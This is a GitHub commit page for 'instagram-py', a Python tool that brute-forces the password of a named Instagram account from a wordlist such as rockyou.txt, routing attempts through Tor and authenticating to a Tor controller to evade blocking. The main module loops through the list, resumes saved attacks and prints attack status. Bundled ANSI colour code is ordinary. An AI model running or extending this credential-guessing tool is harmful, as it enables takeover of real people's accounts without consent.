Skip to content

Commit dd72fdd

Browse files
committed
cleaning up the mess!
1 parent f548d9e commit dd72fdd

16 files changed

+1293
-370
lines changed

README.md renamed to README.rst

File renamed without changes.

bin/instagram-py

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
#!/usr/bin/env python3
2+
#*********************************************************************************#
3+
# MIT License #
4+
# #
5+
# Copyright (c) 2017 DeathSec #
6+
# #
7+
# Permission is hereby granted, free of charge, to any person obtaining a copy #
8+
# of this software and associated documentation files (the "Software"), to deal #
9+
# in the Software without restriction, including without limitation the rights #
10+
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #
11+
# copies of the Software, and to permit persons to whom the Software is #
12+
# furnished to do so, subject to the following conditions: #
13+
# #
14+
# The above copyright notice and this permission notice shall be included in all #
15+
# copies or substantial portions of the Software. #
16+
# #
17+
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #
18+
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #
19+
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #
20+
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #
21+
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #
22+
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE #
23+
# SOFTWARE. #
24+
#*********************************************************************************#
25+
26+
import instagram_py
27+
28+
if __name__ == '__main__':
29+
instagram_py.main()
30+

instagram.py

Lines changed: 0 additions & 370 deletions
This file was deleted.

instagram_py/__init__.py

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
# Instagram , Copyright (C) 2017 The Future Shell , DeathSec
2+
# filename: __init__.py
3+
# The traditional init file!
4+
5+
import argparse
6+
from stem import Signal # to control tor server
7+
from stem.control import Controller
8+
from .getfile import *
9+
from .constants import *
10+
from .logger import *
11+
from .colors import Fore , Back , Style , init
12+
from .instagram_bot import InjectPassword
13+
14+
init(autoreset=True) # set to automatically reset colors!
15+
16+
# set current proc globals
17+
18+
cmd_parser = argparse.ArgumentParser(
19+
epilog=Fore.BLUE + Style.BRIGHT +
20+
'''example: instagram-py -v instatestgod__ rockyou.txt'''
21+
)
22+
# nargs = '+' , makes them positional argument.
23+
cmd_parser.add_argument('USERNAME' , # parse username from command line
24+
type=str ,
25+
help='username for Instagram account' ,
26+
nargs = '+'
27+
)
28+
29+
cmd_parser.add_argument('PASSWORD_LIST' , # parse path to password list file
30+
type=str ,
31+
default='./' ,
32+
help='password list file to try with the given username.' ,
33+
nargs='+'
34+
)
35+
36+
cmd_parser.add_argument('--verbose' , # check if the user wants verbose mode enabled
37+
'-v' ,
38+
action='count' ,
39+
help='Activate Verbose mode!'
40+
)
41+
42+
def main():
43+
print_head(False) # print our appInfo!
44+
parsed = cmd_parser.parse_args() # lets get the input from the user!
45+
updateConfigWithCmdParsed(current_session , parsed) # updates all our required constants!
46+
47+
current_session['start'] = datetime.now() # set the start time
48+
49+
getPasswordList(current_session) # check and get password list file
50+
51+
loadSavefile(current_session) # check if the user did a previous attack and resume it if the user wishes
52+
53+
# open a new tor controller
54+
current_session['tor_controller'] = Controller.from_port(port = int(current_session['config']['tor']['control']['port']))
55+
# authenticate with tor
56+
try:
57+
if current_session['config']['tor']['control']['password'] == '':
58+
current_session['tor_controller'].authenticate()
59+
else:
60+
current_session['tor_controller'].authenticate(password = current_session['config']['tor']['control']['password'])
61+
except:
62+
report_err(app_error['tor_wrong_passwd']) # report and exit if anything goes wrong!
63+
64+
# show user attack status!
65+
print(Fore.YELLOW + '[!] attack started: ' + Style.RESET_ALL + Fore.CYAN + str(current_session['start']))
66+
print(Style.BRIGHT + '[+] target account: ' + Style.RESET_ALL + Fore.CYAN + current_session['username'] )
67+
print(Style.BRIGHT + '[*] password list path: ' + Style.RESET_ALL + Fore.CYAN + current_session['passwordFile'])
68+
69+
print(Style.BRIGHT + '[ ' + Fore.RED + 'ATTACK STATUS'+ Style.RESET_ALL + Style.BRIGHT +' ]')
70+
71+
# resume the attack if possible
72+
current_line = 1
73+
if current_session['save'] == "none":
74+
resume_line = 0
75+
else:
76+
resume_line = int(current_session['save']['line-count'])
77+
78+
# open the password list and start the attack!
79+
with open(current_session['passwordFile'] , encoding='utf-8' , errors ='ignore') as infile:
80+
for passwd in infile:
81+
if resume_line > current_line: # check if the user finished some passwords!
82+
current_line += 1
83+
else:
84+
current_session['password'] = passwd.rstrip()
85+
current_session['proceedWith'] = False
86+
while not current_session['proceedWith']:
87+
InjectPassword(current_session , current_line)
88+
89+
90+
# if no password is found in the given password list then report error and exit
91+
report_err(app_error['no_pass_in_p_file']) # we are not lucky today!

instagram_py/colors/__init__.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2+
from .initialise import init, deinit, reinit, colorama_text
3+
from .ansi import Fore, Back, Style, Cursor
4+
from .ansitowin32 import AnsiToWin32
5+
6+
__version__ = '0.3.9'
7+

instagram_py/colors/ansi.py

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2+
'''
3+
This module generates ANSI character codes to printing colors to terminals.
4+
See: http://en.wikipedia.org/wiki/ANSI_escape_code
5+
'''
6+
7+
CSI = '\033['
8+
OSC = '\033]'
9+
BEL = '\007'
10+
11+
12+
def code_to_chars(code):
13+
return CSI + str(code) + 'm'
14+
15+
def set_title(title):
16+
return OSC + '2;' + title + BEL
17+
18+
def clear_screen(mode=2):
19+
return CSI + str(mode) + 'J'
20+
21+
def clear_line(mode=2):
22+
return CSI + str(mode) + 'K'
23+
24+
25+
class AnsiCodes(object):
26+
def __init__(self):
27+
# the subclasses declare class attributes which are numbers.
28+
# Upon instantiation we define instance attributes, which are the same
29+
# as the class attributes but wrapped with the ANSI escape sequence
30+
for name in dir(self):
31+
if not name.startswith('_'):
32+
value = getattr(self, name)
33+
setattr(self, name, code_to_chars(value))
34+
35+
36+
class AnsiCursor(object):
37+
def UP(self, n=1):
38+
return CSI + str(n) + 'A'
39+
def DOWN(self, n=1):
40+
return CSI + str(n) + 'B'
41+
def FORWARD(self, n=1):
42+
return CSI + str(n) + 'C'
43+
def BACK(self, n=1):
44+
return CSI + str(n) + 'D'
45+
def POS(self, x=1, y=1):
46+
return CSI + str(y) + ';' + str(x) + 'H'
47+
48+
49+
class AnsiFore(AnsiCodes):
50+
BLACK = 30
51+
RED = 31
52+
GREEN = 32
53+
YELLOW = 33
54+
BLUE = 34
55+
MAGENTA = 35
56+
CYAN = 36
57+
WHITE = 37
58+
RESET = 39
59+
60+
# These are fairly well supported, but not part of the standard.
61+
LIGHTBLACK_EX = 90
62+
LIGHTRED_EX = 91
63+
LIGHTGREEN_EX = 92
64+
LIGHTYELLOW_EX = 93
65+
LIGHTBLUE_EX = 94
66+
LIGHTMAGENTA_EX = 95
67+
LIGHTCYAN_EX = 96
68+
LIGHTWHITE_EX = 97
69+
70+
71+
class AnsiBack(AnsiCodes):
72+
BLACK = 40
73+
RED = 41
74+
GREEN = 42
75+
YELLOW = 43
76+
BLUE = 44
77+
MAGENTA = 45
78+
CYAN = 46
79+
WHITE = 47
80+
RESET = 49
81+
82+
# These are fairly well supported, but not part of the standard.
83+
LIGHTBLACK_EX = 100
84+
LIGHTRED_EX = 101
85+
LIGHTGREEN_EX = 102
86+
LIGHTYELLOW_EX = 103
87+
LIGHTBLUE_EX = 104
88+
LIGHTMAGENTA_EX = 105
89+
LIGHTCYAN_EX = 106
90+
LIGHTWHITE_EX = 107
91+
92+
93+
class AnsiStyle(AnsiCodes):
94+
BRIGHT = 1
95+
DIM = 2
96+
NORMAL = 22
97+
RESET_ALL = 0
98+
99+
Fore = AnsiFore()
100+
Back = AnsiBack()
101+
Style = AnsiStyle()
102+
Cursor = AnsiCursor()

0 commit comments

Comments
 (0)